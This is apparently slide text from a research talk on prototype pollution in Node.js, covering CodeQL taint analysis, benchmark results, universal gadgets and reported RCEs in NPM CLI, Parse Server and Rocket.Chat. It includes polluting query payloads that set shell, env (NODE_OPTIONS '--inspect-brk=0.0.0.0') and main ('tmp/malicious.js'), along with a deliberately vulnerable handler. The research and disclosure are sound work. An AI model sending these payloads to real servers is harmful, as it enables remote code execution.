



# **Silent Spring:** **Prototype Pollution Leads to** **Remote Code Execution in Node.js**

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# Background: inheritance in JavaScript

Prototype-based – inheritance in OOP by reusing existing objects that serve as prototypes.

## Terminal

```
> node app/index.js  
42  
>
```



node





index.js


```
const objA = {};  
objA.__proto__.x = 42;  
  
const objB = {};  
console.log(objB.x);
```

## Code

## Heap




# Problem: prototype pollution



# Problem: RCE via prototype pollution



Attacker



/update?

org=\_\_proto\_\_&  
prj=shell&  
details=calc

/backup



node



handleUpdate.js



handleBackup.js

```
function execHelper(args, options){  
  const cmd = options.shell ||  
    'cmd.exe /k';  
  exec(`${cmd} ${args}`);  
}  
  
execHelper('backup-script.bat', {})
```

'calc'



\_\_proto\_\_:

```
Object prototype  
__proto__: null  
toString: <function>  
valueOf: <function>  
constructor: <function>  
shell: 'calc'
```

nodejs

```
bin/  
  node  
  npm  
include/  
lib/
```

webapp/

```
index.js  
package.js  
node_modul  
src/  
  handleBackup.js  
  handleUpdate.js
```

Gadget

Prototype Pollution

# Problem: Summary

**Prototype Pollution** is a vulnerability where an attacker may modify an object's prototype at runtime and trigger the execution of the gadgets' code.

Prototype  
Pollution

```
function handleUpdate(query){
  const obj = {};
  /* ... */
  const p = obj[query.org];
  p[query.prj] = query.details;
  /* ... */
}
```


Gadget

```
function execHelper(args, options) {
  const cmd = options.shell ||
    'cmd.exe /k';
  return exec(`${cmd} ${args}`);
}

execHelper('backup-script.bat', {})
```

- **RQ1:** How to identify prototype pollutions in NPM packages and applications?
- **RQ2:** How to identify gadgets in Node.js APIs?
- **RQ3:** How to exploit RCE via prototype pollution in applications?

# RQ1: How to identify prototype pollutions in NPM packages and applications?



# Static taint analysis

Tracking how sensitive information flows from the sources to target sinks.

The **input** label marks parameters that are directly controlled by the attacker.

The **proto** label marks the attacker-controlled *prototype* object.

```
function handleUpdate(arg1, arg2, arg3) {  
  const obj = {};  
  const p = obj[arg1];  
  p[arg2] = arg3;  
  /* ... */  
}
```



<https://github.com/github/codeql>

# Evaluation of packages analysis


We built a new benchmark from 100 vulnerable Node.js packages and evaluate true positives and false positives metrics for each package.

Metrics	Baseline queries		Priority queries		General queries	
	Prototype Polluting Assignment	Prototype Polluting Function	Exported Functions	Any Functions	Exported Functions	Any Functions
Recall	42.1%	21.3%	82.2%	93.3%	88.4%	97.0%
Precision	46.1%	67.3%	49.6%	40.1%	35.3%	30.9%

**The best result achieves 97% recall.**



# RQ2: How to identify gadgets in Node.js API?



# Universal gadgets

Universal properties	Trigger	Impact	OS
shell, env	Call command injection API	Execute an arbitrary command	L+W
shell, env	Call command injection API	Execute an arbitrary command	L
shell, input	Call command injection API	Execute an arbitrary command	W
main	Import a package without a declared "main"	Import an arbitrary file from the disk*	L+W
main	Require a package without a declared "main"	Require an arbitrary file from the disk*	L+W
exports, 1	Require a file using a relative path	Require an arbitrary file from the disk*	L+W
'=C:'	Resolve a file path	Resolve the path to a different file	W
contextExtensions	Require a file using a relative path	Overwrite global variables of the file	L+W
contextExtensions	Compile function in a new context	Overwrite function's global variables	L+W
shell, env, main	Require a package without a declared "main"	Execute an arbitrary command	L+W
shell, env, exports, 1	Require a file using a relative path	Execute an arbitrary command	L+W

# spawn gadget



Code

Heap



node

```
function spawn(file, args, opts) {  
  if (opts === undefined)  
    opts = {};  
  
  if (opts.shell) {  
    args = ['-c', file, ...args];  
    file = opts.shell;  
  }  
  
  const env = opts.env || process.env;  
  spawn_internal(file, args, env);  
}
```




```
bin/  
  node  
  npm  
include/  
lib/
```




```
index.js  
package.json  
node_modules/  
src/
```

# spawn gadget



# spawn gadget

Attacker



**/update?**

```
org=__proto__&  
prj=shell&  
details=node
```

**/update?**

```
org=__proto__&  
prj=env&  
details={  
  "NODE_OPTIONS":  
    "--inspect-brk=0.0.0.0"  
}
```



node



handleUpdate.js

```
function handleUpdate(query){  
  const obj = {};  
  const p = obj[query.org];  
  p[query.prj] = query.details;  
  /* ... */  
}
```

Code

Heap

Object prototype

\_\_proto\_\_: null

toString: <function>

valueOf: <function>

constructor: <function>

shell: 'node'

env: ...


nodejs

```
bin/  
  node  
  npm  
include/  
lib/
```

webapp/


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node_modules/  
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  handleUpdate.js
```

# spawn gadget



# spawn gadget

Attacker




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}

**/backup**



node



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  if (opts === undefined)  
    opts = {};  
  
  if (opts.shell) {  
    args = ['-c', file, ...args];  
    file = opts.shell;  
  }  
  
  const env = opts.env || process.env;  
  spawn_internal(file, args, env);  
}
```

'node'


```
{  
  "NODE_OPTIONS":  
  "--inspect-brk=0.0.0.0"  
}
```

Code

Heap



nodejs



webapp/




# Universal gadgets

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


# require gadget




# require gadget

Attacker



/update?

org=\_\_proto\_\_&  
prj=main&  
details=tmp/malicious.js



Code

Heap



node

```
function require(id) {  
  const json = readConfig(id);  
  const parsed = JSON.Parse(json);  
  
  evaluateJSFile(parsed.main);  
}
```



handleBackup.js

```
/* ... */  
const bytes = require('bytes');
```

Object prototype

\_\_proto\_\_: null

toString: <function>

valueOf: <function>

constructor: <function>

main: 'tmp/malicious.js'

nodejs

```
├─ bin/  
  └─ node  
  └─ npm  
├─ include/  
└─ lib/
```

webapp/

```
├─ index.js  
├─ package.json  
├─ node_modules/  
├─ src/  
  └─ handleBackup.js  
  └─ handleUpdate.js  
└─ tmp/  
  └─ malicious.js
```

# require gadget


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/update?

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prj=main&  
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/backup



node

```
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  const parsed = JSON.Parse(json);  
  
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}
```



handleBackup.js

```
/* ... */  
const bytes = require('bytes');
```

'tmp/malicious.js'

Code

Heap

parsed

name: "bytes"
version: "3.1.1"
license: "MIT"
__proto__:

Object prototype

__proto__: null
toString: <function>
valueOf: <function>
constructor: <function>
main: 'tmp/malicious.js'

nodejs

```
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  └─ node  
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├─ include/  
└─ lib/
```


webapp/

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├─ node_modules/  
├─ src/  
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  └─ handleUpdate.js  
└─ tmp/  
  └─ malicious.js
```


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# Gadgets cocktail




# Gadgets cocktail



# Gadgets cocktail

Attacker




**/update?**

**org=\_\_proto\_\_&**  
**prj=main&**  
**details=.../dist/npm.js**

**/update?**

**org=\_\_proto\_\_&**  
**prj=env&**  
**details={**  
 "NODE\_OPTIONS":  
 "--inspect-brk=0.0.0.0"  
**}**



node



handleUpdate.js

```
function handleUpdate(query){
  const obj = {};
  const p = obj[query.org];
  p[query.prj] = query.details;
  /* ... */
}
```

Code

Heap

Object prototype

__proto__: null
toString: <function>
valueOf: <function>
constructor: <function>
<b>main: '.../dist/npm.js'</b>
<b>env: ...</b>

nodejs


```
├─ bin/
│  └─ node
│     └─ npm
├─ include/
├─ lib/
│  └─ node_modules/
│     └─ corepack/dist/
│        └─ npm.js
```

webapp/

```
├─ index.js
├─ package.json
├─ node_modules/
│  └─ bytes/
│     └─ index.js
│        └─ package.json
├─ src/
│  └─ handleBackup.js
│     └─ handleUpdate.js
```

# Gadgets cocktail

Attacker





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
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`org=__proto__&`  
`prj=env&`  
`details={`  
`"NODE_OPTIONS":`  
`"--inspect-brk=0.0.0.0"`  
`}`

**/backup**



```
function handleUpdate(query){
  const obj = {};
  const p = obj[query.org];
  p[query.prj] = query.details;
  /* ... */
}
```



```
/* ... */
const bytes = require('bytes');
```

Code

Heap

Object prototype

__proto__: null
toString: <function>
valueOf: <function>
constructor: <function>
<b>main: '.../dist/npm.js'</b>
<b>env: ...</b>

nodejs

```
bin/
├─ node
├─ npm
include/
lib/
├─ node_modules/
│   └─ corepack/dist/
│       └─ npm.js
```

webapp/

```
index.js
package.json
node_modules/
├─ bytes/
│   └─ index.js
│   └─ package.json
src/
├─ handleBackup.js
└─ handleUpdate.js
```



# Gadgets cocktail

Attacker




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**org=\_\_proto\_\_&**  
**prj=env&**  
**details={**  
 "NODE\_OPTIONS":  
 "--inspect-brk=0.0.0.0"  
**}**

**/backup**



node

```
function require(id) {
  const json = readConfig(id);
  const parsed = JSON.Parse(json);

  evaluateJSFile(parsed.main);
}
```

**'.../dist/npm.js'**

Code

Heap

parsed

name: "bytes"
version: "3.1.1"
license: "MIT"
__proto__:

Object prototype

__proto__: null
toString: <function>
valueOf: <function>
constructor: <function>
<b>main: '.../dist/npm.js'</b>
<b>env: ...</b>


nodejs

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├─ bin/
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│     └─ corepack/dist/
│        └─ npm.js
```

webapp/

```
├─ index.js
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```

# Gadgets cocktail



# Gadgets cocktail

Attacker




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}
```

**/backup**



node

```
function spawn(file, args, opts) {
  if (opts === undefined)
    opts = {};

  if (opts.shell) {
    args = ['-c', file, ...args];
    file = opts.shell;
  }

  const env = opts.env || process.env;
  spawn_internal(file, args, env);
}
```



'node'

```
{
  "NODE_OPTIONS":
    "--inspect-brk=0.0.0.0"
}
```


Code

Heap

Object prototype
__proto__: null
toString: <function>
valueOf: <function>
constructor: <function>
main: '.../dist/npm.js'
env: ...



# RQ3: How to exploit RCE via prototype pollution in applications?



# RCE exploits

Application's Repository	Stars	Lines of code	Total		Exploitable		Suspicious		Testing Code		Client-Side Code		False Positives	
			Cases	Time	Cases	Time	Cases	Time	Cases	Time	Cases	Time	Cases	Time
typicode/json-server	57,257	2,374	0		-		-		-		-		-	
expressjs/express	54,883	14,450	0		-		-		-		-		-	
meteor/meteor	42,673	202,213	26	255	0		5	210	4	10	8	5	9	30
strapi/strapi	40,724	168,998	3	5	0		0		0		0		3	5
TryGhost/Ghost	38,944	125,696	4	55	0		1	50	0		2	3	1	2
hexojs/hexo	33,666	21,073	1	40	0		1	40	0		0		0	
sahat/hackathon-starter	32,431	2,326	0		-		-		-		-		-	
koajs/koa	31,910	4,596	0		-		-		-		-		-	
RocketChat/Rocket.Chat	31,059	242,949	5	1555	1	1500	3	50	0		1	5	0	
balderdashy/sails	22,085	24,445	0		-		-		-		-		-	
emberjs/ember.js	22,034	113,749	6	60	0		2	40	1	10	0		3	10
fastify/fastify	21,043	37,049	0		-		-		-		-		-	
parse-community/parse-server	19,045	107,909	7	3225	5	3220	0		0		0		2	5
docsifyjs/docsify	18,946	7,603	0		-		-		-		-		-	
npm/cli	5,371	713,648	15	603	2	360	6	230	1	3	0		6	10

- **NPM CLI RCE (NO CVEs but \$11K bounty)**
- **Parse Server RCE (CVE-2022-24760)**
- **Parse Server RCE (CVE-2022-39396)**
- **Parse Server RCE (CVE-2022-41878)**
- **Parse Server RCE (CVE-2022-41879)**
- **Parse Server RCE (waiting for CVE)**
- **Rocket.Chat RCE (CVE-2023-23917)**

# Conclusion


- We designed a toolchain for detecting RCE vulnerabilities that are enabled by prototype pollution.

<https://github.com/yuske/silent-spring>

- We found 11 universal gadgets in Node.js APIs source code.

<https://github.com/yuske/server-side-prototype-pollution>

- We reported 8 RCEs in the popular open-source applications: NPM CLI, Parse Server and Rocket.Chat.



# Conclusion


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## Thanks for your attention!

<https://twitter.com/yu5k3>

